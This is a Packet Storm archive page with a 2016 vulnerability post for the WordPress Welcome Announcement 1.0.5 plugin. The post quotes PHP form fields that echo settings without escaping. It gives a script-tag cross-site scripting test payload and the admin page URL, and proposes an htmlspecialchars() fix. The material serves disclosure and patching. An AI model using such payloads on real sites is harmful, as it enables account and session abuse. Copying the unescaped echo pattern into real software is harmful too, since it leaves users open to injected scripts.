Twenty Year Anniversary

WordPress Welcome Announcement 1.0.5 Cross Site Scripting

WordPress Welcome Announcement 1.0.5 Cross Site Scripting
Posted Aug 6, 2016
Authored by bl4ck_MohajeM

WordPress Welcome Announcement plugin version 1.0.5 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 7763f2b857c0b29bf12c02bfc4cd8d8a

WordPress Welcome Announcement 1.0.5 Cross Site Scripting

Change Mirror Download
#####################
# Exploit Title: Wordpress Welcome Announcement Cross Site Scripting
# Exploit Author: bl4ck_mohajem
# Vendor Homepage: https://wordpress.org/plugins/welcome-announcement/
# Tested On: Windows7
# Software Link:
https://downloads.wordpress.org/plugin/welcome-announcement.1.0.5.zip
# Version: 1.0.5
######################
# Vulnerable File and Codes:
wa_options.php Lines(134-142-161-188-196-204-215-223-234-258-266)

<input class="entry" type="text" size=40 name="wa_opts[cookie_name]"
value="<?php echo $wa_opts["cookie_name"]; ?>" />
<input class="entry" type="text" size=40
name='wa_opts[cookie_expiration]'value="<?php echo
$wa_opts["cookie_expiration"]; ?>" />
<input class="entry" type="text" size=76
name='wa_opts[animation_name]' value="<?php echo
$wa_opts["animation_name"]; ?>" />
<input class="entry" type="text" size=40
name='wa_opts[animation_width]' value="<?php echo
$wa_opts["animation_width"]; ?>" />
<input class="entry" type="text" size=40
name='wa_opts[animation_height]' value="<?php echo
$wa_opts["animation_height"]; ?>" />
<input class="entry" type="text" size=40
name='wa_opts[animation_bgcolor]' id="color_animation"
onclick="showColorGrid2('color_animation','none');" value="<?php echo
$wa_opts["animation_bgcolor"]; ?>" />
<input class="entry" type="text" size=40 name='wa_opts[veil_bgcolor]'
id="color_veil" onclick="showColorGrid2('color_veil','none');"
value="<?php echo $wa_opts["veil_bgcolor"]; ?>" />
<input class="entry" type="text" size=40
name='wa_opts[veil_transparency]' value="<?php echo
$wa_opts["veil_transparency"]; ?>" />
<input class="entry" type="text" size=40
name='wa_opts[fade_in_duration]' value="<?php echo
$wa_opts["fade_in_duration"]; ?>" />
<input class="entry" type="text" size=40
name='wa_opts[animation_duration]' value="<?php echo
$wa_opts["animation_duration"]; ?>" />
<input class="entry" type="text" size=40
name='wa_opts[fade_out_duration]' value="<?php echo
$wa_opts["fade_out_duration"]; ?>" />
######################
# Exploit :
For test Cross site scripting can use this code in all of the above
inputs are vulnerable.
"><script>alert(/xss/)</script><
Address: http://localhost/pentest/wordpress/wp-admin/themes.php?page=wa_options
######################
# Patch :
To fix this vulnerability you use htmlspecialchars() function .
<input class="entry" type="text" size=40 name="wa_opts[cookie_name]"
value="<?php echo htmlspecialchars($wa_opts["cookie_name"]); ?>" />
And other lines, too.
######################
# tnx: Milad Hacking - n1arash - bl4ck_li0n -malah_sky
######################

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    1 Files
  • 3
    Dec 3rd
    18 Files
  • 4
    Dec 4th
    40 Files
  • 5
    Dec 5th
    16 Files
  • 6
    Dec 6th
    50 Files
  • 7
    Dec 7th
    12 Files
  • 8
    Dec 8th
    1 Files
  • 9
    Dec 9th
    1 Files
  • 10
    Dec 10th
    15 Files
  • 11
    Dec 11th
    30 Files
  • 12
    Dec 12th
    25 Files
  • 13
    Dec 13th
    7 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close